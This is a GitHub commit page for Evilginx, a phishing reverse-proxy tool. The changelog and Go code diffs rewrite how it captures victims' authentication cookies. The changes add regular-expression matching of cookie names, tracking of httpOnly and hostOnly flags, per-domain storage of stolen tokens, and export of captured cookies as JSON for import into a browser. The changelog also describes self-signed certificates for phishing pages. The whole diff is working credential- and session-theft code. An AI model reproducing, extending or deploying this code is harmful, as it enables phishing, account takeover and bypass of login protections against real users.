Skip to content

Commit

Permalink
rewritten auth token cookie detection + regular expressions for cooki…
Browse files Browse the repository at this point in the history
…e names
  • Loading branch information
kgretzky committed Sep 9, 2018
1 parent 2678d3c commit a318635
Show file tree
Hide file tree
Showing 8 changed files with 155 additions and 56 deletions.
7 changes: 6 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,9 @@
2018-09-07

* Developer mode added - start Evilginx with argument `-developer` and it will auto generate self-signed certificates for your phishing pages. Generated CA root certificate, that you can import into your certificate store, can be found at `$HOME/.evilginx/ca.crt`.
* Added `phishlets get-hosts` command to generate `/etc/hosts` local IP address mappings for any phishlet.
* Added `phishlets get-hosts` command to generate `/etc/hosts` local IP address mappings for any phishlet.
* Added auto-detection of `httpOnly` and `hostOnly` cookie flags.
* Completely rewrote authentication token detection and database storage (previously captured sessions will not load properly in this version).
* Phishlets now properly handle `.website.com` vs `website.com` cookie domains
* Added support for regular expressions in detecting authentication token cookie names. Use `regexp` flag with `,` separator in cookie name like this `_session_[0-9]{6},regexp`.
* Fixed bug that prevented usage of empty subdomains in phishlets.
2 changes: 1 addition & 1 deletion core/banner.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import (
)

const (
VERSION = "2.0.0"
VERSION = "2.1.0"
)

func putAsciiArt(s string) {
Expand Down
18 changes: 11 additions & 7 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -106,7 +106,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
req_url += "?" + req.URL.RawQuery
}

log.Debug("http: %s", req_url)
//log.Debug("http: %s", req_url)

parts := strings.SplitN(req.RemoteAddr, ":", 2)
remote_addr := parts[0]
Expand Down Expand Up @@ -323,24 +323,28 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

// fix cookies
pl := p.getPhishletByOrigHost(resp.Request.Host)
var auth_tokens []string
var auth_tokens map[string][]*AuthToken
if pl != nil {
auth_tokens = pl.getAuthTokens()
auth_tokens = pl.authTokens
}
is_auth := false
cookies := resp.Cookies()
resp.Header.Del("Set-Cookie")
for _, ck := range cookies {
// parse cookie
if pl != nil && ps.SessionId != "" {
if stringExists(ck.Name, auth_tokens) {
c_domain := ck.Domain
if c_domain == "" {
c_domain = resp.Request.Host
}
log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
if pl.isAuthToken(c_domain, ck.Name) {
s, ok := p.sessions[ps.SessionId]
if ok && !s.IsDone {
if ck.Value != "" { // cookies with empty values are of no interest to us
is_auth = s.AddAuthToken(ck.Name, ck.Value, auth_tokens)
is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
if is_auth {
tmap := pl.GenerateTokenSet(s.Tokens)
if err := p.db.SetSessionTokens(ps.SessionId, tmap); err != nil {
if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil {
log.Error("database: %v", err)
}
s.IsDone = true
Expand Down
90 changes: 65 additions & 25 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"encoding/base64"
"net/url"
"regexp"
"strings"

"github.com/spf13/viper"
)
Expand All @@ -25,6 +26,13 @@ type SubFilter struct {
redirect_only bool
}

type AuthToken struct {
domain string
name string
re *regexp.Regexp
http_only bool
}

type Phishlet struct {
Site string
Name string
Expand All @@ -33,8 +41,7 @@ type Phishlet struct {
proxyHosts []ProxyHost
domains []string
subfilters map[string][]SubFilter
authTokens map[string][]string
httpTokens map[string][]string
authTokens map[string][]*AuthToken
k_username string
re_username string
k_password string
Expand Down Expand Up @@ -62,9 +69,8 @@ type ConfigSubFilter struct {
}

type ConfigAuthToken struct {
Domain string `mapstructure:"domain"`
Keys []string `mapstructure:"keys"`
HttpOnly []string `mapstructure:"http_only"`
Domain string `mapstructure:"domain"`
Keys []string `mapstructure:"keys"`
}

type ConfigUserRegex struct {
Expand Down Expand Up @@ -107,8 +113,7 @@ func (p *Phishlet) Clear() {
p.proxyHosts = []ProxyHost{}
p.domains = []string{}
p.subfilters = make(map[string][]SubFilter)
p.authTokens = make(map[string][]string)
p.httpTokens = make(map[string][]string)
p.authTokens = make(map[string][]*AuthToken)
p.k_username = ""
p.re_username = ""
p.k_password = ""
Expand Down Expand Up @@ -146,7 +151,10 @@ func (p *Phishlet) LoadFromFile(path string) error {
p.addSubFilter(sf.Hostname, sf.Sub, sf.Domain, sf.Mimes, sf.Search, sf.Replace, sf.RedirectOnly)
}
for _, at := range fp.AuthTokens {
p.addAuthTokens(at.Domain, at.Keys, at.HttpOnly)
err := p.addAuthTokens(at.Domain, at.Keys)
if err != nil {
return err
}
}
p.re_username = fp.UserRegex.Re
p.k_username = fp.UserRegex.Key
Expand Down Expand Up @@ -214,7 +222,7 @@ func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[str
for domain, tokens := range p.authTokens {
ret[domain] = make(map[string]string)
for _, t := range tokens {
td[t] = domain
td[t.name] = domain
}
}

Expand All @@ -238,17 +246,33 @@ func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only})
}

func (p *Phishlet) addAuthTokens(hostname string, tokens []string, http_tokens []string) {
p.authTokens[hostname] = tokens
p.httpTokens[hostname] = http_tokens
}

func (p *Phishlet) getAuthTokens() []string {
var ret []string
for _, v := range p.authTokens {
ret = append(ret, v...)
func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
p.authTokens[hostname] = []*AuthToken{}
for _, tk := range tokens {
st := strings.Split(tk, ",")
if len(st) > 0 {
name := st[0]
at := &AuthToken{
name: name,
re: nil,
http_only: false,
}
for i := 1; i < len(st); i++ {
switch st[i] {
case "regexp":
var err error
at.re, err = regexp.Compile(name)
if err != nil {
return err
}
case "httponly":
at.http_only = true
}
}
p.authTokens[hostname] = append(p.authTokens[hostname], at)
}
}
return ret
return nil
}

func (p *Phishlet) setUsernameRegexp(key string, v_regex string) error {
Expand Down Expand Up @@ -278,16 +302,32 @@ func (p *Phishlet) domainExists(domain string) bool {
return false
}

func (p *Phishlet) isTokenHttpOnly(domain string, token string) bool {
for d, tokens := range p.httpTokens {
if domain == d {
for _, tk := range tokens {
if tk == token {
return true
func (p *Phishlet) getAuthToken(domain string, token string) *AuthToken {
if tokens, ok := p.authTokens[domain]; ok {
for _, at := range tokens {
if at.re != nil {
if at.re.MatchString(token) {
return at
}
} else if at.name == token {
return at
}
}
}
return nil
}

func (p *Phishlet) isAuthToken(domain string, token string) bool {
if at := p.getAuthToken(domain, token); at != nil {
return true
}
return false
}

func (p *Phishlet) isTokenHttpOnly(domain string, token string) bool {
if at := p.getAuthToken(domain, token); at != nil {
return at.http_only
}
return false
}

Expand Down
63 changes: 51 additions & 12 deletions core/session.go
Original file line number Diff line number Diff line change
@@ -1,13 +1,15 @@
package core

import ()
import (
"github.com/kgretzky/evilginx2/database"
)

type Session struct {
Id string
Name string
Username string
Password string
Tokens map[string]string
Tokens map[string]map[string]*database.Token
RedirectURL string
IsDone bool
}
Expand All @@ -21,7 +23,7 @@ func NewSession(name string) (*Session, error) {
RedirectURL: "",
IsDone: false,
}
s.Tokens = make(map[string]string)
s.Tokens = make(map[string]map[string]*database.Token)

return s, nil
}
Expand All @@ -34,18 +36,55 @@ func (s *Session) SetPassword(password string) {
s.Password = password
}

func (s *Session) AddAuthToken(key string, value string, req_keys []string) bool {
s.Tokens[key] = value
func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
if _, ok := s.Tokens[domain]; !ok {
s.Tokens[domain] = make(map[string]*database.Token)
}
if tk, ok := s.Tokens[domain][key]; ok {
tk.Name = key
tk.Value = value
tk.Path = path
tk.HttpOnly = http_only
} else {
s.Tokens[domain][key] = &database.Token{
Name: key,
Value: value,
HttpOnly: http_only,
}
}

if len(req_keys) > 0 {
var tkeys []string
tkeys = append(tkeys, req_keys...)
for k, _ := range s.Tokens {
tkeys = removeString(k, tkeys)
tcopy := make(map[string][]AuthToken)
for k, v := range authTokens {
tcopy[k] = []AuthToken{}
for _, at := range v {
tcopy[k] = append(tcopy[k], *at)
}
if len(tkeys) == 0 {
return true
}

for domain, tokens := range s.Tokens {
for tk, _ := range tokens {
if al, ok := tcopy[domain]; ok {
for an, at := range al {
match := false
if at.re != nil {
match = at.re.MatchString(tk)
} else if at.name == tk {
match = true
}
if match {
tcopy[domain] = append(tcopy[domain][:an], tcopy[domain][an+1:]...)
if len(tcopy[domain]) == 0 {
delete(tcopy, domain)
}
break
}
}
}
}
}

if len(tcopy) == 0 {
return true
}
return false
}
16 changes: 10 additions & 6 deletions core/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -474,28 +474,33 @@ func (t *Terminal) createHelp() {
t.hlp = h
}

func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]string) string {
func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.Token) string {
type Cookie struct {
Path string `json:"path"`
Domain string `json:"domain"`
ExpirationDate int64 `json:"expirationDate"`
Value string `json:"value"`
Name string `json:"name"`
HttpOnly bool `json:"httpOnly,omitempty"`
HostOnly bool `json:"hostOnly,omitempty"`
}

var cookies []*Cookie
for domain, tmap := range tokens {
for k, v := range tmap {
c := &Cookie{
Path: "/",
Path: v.Path,
Domain: domain,
ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(),
Value: v,
Value: v.Value,
Name: k,
HttpOnly: v.HttpOnly,
}
if pl.isTokenHttpOnly(domain, k) {
c.HttpOnly = true
if domain[:1] != "." {
c.HostOnly = true
}
if c.Path == "" {
c.Path = "/"
}
cookies = append(cookies, c)
}
Expand Down Expand Up @@ -524,7 +529,6 @@ func (t *Terminal) updateCertificates(site string) {
}
if t.developer {
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'", s)
return
} else {
log.Info("setting up certificates for phishlet '%s'...", s)
err = t.crt_db.SetupCertificate(s, pl.GetPhishHosts())
Expand Down
2 changes: 1 addition & 1 deletion database/database.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ func (d *Database) SetSessionPassword(sid string, password string) error {
return err
}

func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]string) error {
func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
err := d.sessionsUpdateTokens(sid, tokens)
return err
}
Expand Down
Loading

0 comments on commit a318635

Please sign in to comment.